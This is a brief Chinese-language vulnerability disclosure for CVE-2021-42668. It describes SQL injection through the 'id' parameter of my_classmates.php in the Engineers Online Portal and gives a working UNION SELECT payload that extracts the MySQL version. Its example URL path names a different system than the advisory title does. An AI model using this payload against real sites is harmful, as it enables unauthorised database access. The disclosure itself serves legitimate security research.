cve-2021-42668

CVE-2021-42668 - 工程师在线门户系统中的SQL注入漏洞。

技术描述：

工程师在线门户（Engineers Online Portal）中存在一个SQL注入漏洞。攻击者可以利用"my_classmates.php"网页中易受攻击的"id"参数来操纵执行的SQL查询。因此，攻击者可以从web服务器中提取敏感数据。

受影响组件 -

易受攻击的页面 - my_classmates.php

易受攻击的参数 - "id"

利用步骤：

1. 导航到 http://localhost/nia_munoz_monitoring_system/my_classmates.php
2. 在id参数中插入你的payload

概念验证（PoC） -

以下payload将允许你提取web服务器上运行的MySql服务器版本 -

' union select NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL;-- -

参考链接 -

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42668

https://nvd.nist.gov/vuln/detail/CVE-2021-42668

发现者 -

Alon Leviev(0xDeku)，2021年10月22日。